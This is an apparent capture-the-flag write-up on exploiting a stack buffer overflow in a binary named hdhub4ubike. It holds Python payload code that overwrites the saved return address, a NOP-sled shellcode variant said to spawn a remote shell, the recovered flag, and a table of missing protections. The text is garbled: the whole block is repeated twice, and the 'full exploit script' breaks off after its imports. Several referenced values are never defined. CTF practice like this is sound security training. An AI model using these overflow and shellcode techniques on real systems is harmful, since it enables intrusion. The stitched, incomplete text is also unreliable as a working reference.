def main(): p = pexpect.spawn(BIN, encoding='utf-8') p.expect("Enter your hub key:") # build payload payload = b'A' * 64 # fill buffer payload += b'B' * 8 # overwrite saved RBP payload += struct.pack("<Q", TARGET_ADDR) # overwrite RIP
$ ./exploit.py === Welcome to the HD Bike Hub === Enter your hub key: flagh0p3_y0u_f0und_th3_h1d3_b1k3 flagh0p3_y0u_f0und_th3_h1d3_b1k3 Congratulations – you’ve successfully bypassed the hub‑key check and recovered the flag from hdhub4ubike ! 🎉
payload = b'A'*64 + b'B'*8 + struct.pack("<Q", 0x7fffffffe000) # address of our buffer (approx) payload = payload.ljust(0x100, b'\x90') + shellcode Running the payload spawns an interactive shell on the remote target. | Topic | What we observed in hdhub4ubike | |---------------------------|-----------------------------------| | Stack overflow | read with a length far larger than the buffer → classic overflow vector. | | Non‑PIE binaries | Fixed addresses make ROP/simple return‑to‑code trivial. | | NX disabled | Allows injection of raw shellcode on the stack. | | No canary / RELRO | Nothing blocks overwriting the saved RIP. | | Info leakage | The flag was embedded in the binary – a “cheat” that encourages bypassing logic checks. | | Best exploitation path | Return‑to‑existing puts that already has the flag address set → shortest payload, no need for ROP chain or shellcode. | 6️⃣ Full Exploit Script (Python 3) #!/usr/bin/env python3 import struct, pexpect, sys
def main(): p = pexpect.spawn(BIN, encoding='utf-8') p.expect("Enter your hub key:") # build payload payload = b'A' * 64 # fill buffer payload += b'B' * 8 # overwrite saved RBP payload += struct.pack("<Q", TARGET_ADDR) # overwrite RIP
$ ./exploit.py === Welcome to the HD Bike Hub === Enter your hub key: flagh0p3_y0u_f0und_th3_h1d3_b1k3 flagh0p3_y0u_f0und_th3_h1d3_b1k3 Congratulations – you’ve successfully bypassed the hub‑key check and recovered the flag from hdhub4ubike ! 🎉
payload = b'A'*64 + b'B'*8 + struct.pack("<Q", 0x7fffffffe000) # address of our buffer (approx) payload = payload.ljust(0x100, b'\x90') + shellcode Running the payload spawns an interactive shell on the remote target. | Topic | What we observed in hdhub4ubike | |---------------------------|-----------------------------------| | Stack overflow | read with a length far larger than the buffer → classic overflow vector. | | Non‑PIE binaries | Fixed addresses make ROP/simple return‑to‑code trivial. | | NX disabled | Allows injection of raw shellcode on the stack. | | No canary / RELRO | Nothing blocks overwriting the saved RIP. | | Info leakage | The flag was embedded in the binary – a “cheat” that encourages bypassing logic checks. | | Best exploitation path | Return‑to‑existing puts that already has the flag address set → shortest payload, no need for ROP chain or shellcode. | 6️⃣ Full Exploit Script (Python 3) #!/usr/bin/env python3 import struct, pexpect, sys
